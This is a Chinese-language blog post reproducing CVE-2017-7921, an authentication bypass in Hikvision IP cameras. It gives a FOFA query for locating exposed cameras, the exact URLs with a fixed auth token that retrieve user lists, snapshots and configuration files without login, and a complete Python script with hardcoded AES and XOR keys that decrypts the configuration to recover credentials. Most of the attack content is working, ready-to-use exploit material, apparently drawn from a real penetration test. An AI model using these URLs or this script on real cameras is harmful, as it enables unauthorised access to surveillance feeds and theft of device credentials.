0%

【漏洞复现】CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现

【漏洞复现】CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现

之前渗透到时候碰到了,记录一个复现文章。

漏洞简介

通过构造url进行检索所有用户、屏幕截图、配置文件下载

fofa语法

app="HIKVISION-视频监控"

影响版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HikvisionDS-2CD2xx2F-ISeries5.2.0build140721
版本至5.4.0build160530版本;

DS-2CD2xx0F-ISeries5.2.0build140721
版本至5.4.0Build160401版本;

DS-2CD2xx2FWDSeries5.3.1build150410
版本至5.4.4Build161125版本;

DS-2CD4x2xFWDSeries5.2.0build140721
版本至5.4.0Build160414版本;

DS-2CD4xx5Series5.2.0build140721
版本至5.4.0Build160421版本;

DS-2DFxSeries5.2.0build140805
版本至5.4.5Build160928版本;

DS-2CD63xxSeries5.0.9build140305
版本至5.3.5Build160106版本

复现过程

在web浏览器中输入以下代码来检索用户与用户列表

1
http://目的IP地址/Security/users?auth=YWRtaW46MTEK
1
2
3
4
5
6
7
8
9
10
11
12
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<UserList xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<User xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>

在没有进行身份验证的情况下获取监控快照可以使用以下代码在浏览器中打开
http://目的IP地址/onvif-http/snapshot?auth=YWRtaW46MTEK

在没有验证的情况下需要使用如下代码来下载摄像头的配置文件
http://目的IP地址/System/configurationFile?auth=YWRtaW46MTEK
代码输入之后浏览器会自动下载一个名为configurationFile的文件,如下

image-20230415153217226

之后用大佬的脚本解密此文件即可

image-20230415153327440

脚本

https://pan.baidu.com/s/1sMV0kCeqv7mHD0BHB3qEDw

提取码:peak

我这里也放出来,免得链接挂了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python3

from itertools import cycle
from Crypto.Cipher import AES
import re
import os
import sys

def add_to_16(s):
while len(s) % 16 != 0:
s += b'\0'
return s

def decrypt(ciphertext, hex_key='279977f62f6cfd2d91cd75b889ce0c9a'):
key = bytes.fromhex(hex_key)
ciphertext = add_to_16(ciphertext)
#iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b"\0")

def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
return bytes(a ^ b for a, b in zip(data, cycle(key)))

def strings(file):
chars = r"A-Za-z0-9/\-:.,_$%'()[\]<> "
shortestReturnChar = 2
regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
pattern = re.compile(regExp)
return pattern.findall(file)

def main():
if len(sys.argv) <= 1 or not os.path.isfile(sys.argv[1]):
return print(f'No valid config file provided to decrypt. For example:\n{sys.argv[0]} <configfile>')
xor = xore( decrypt(open( sys.argv[1],'rb').read()) )
result_list = strings(xor.decode('ISO-8859-1'))
print(result_list)

if __name__ == '__main__':
main()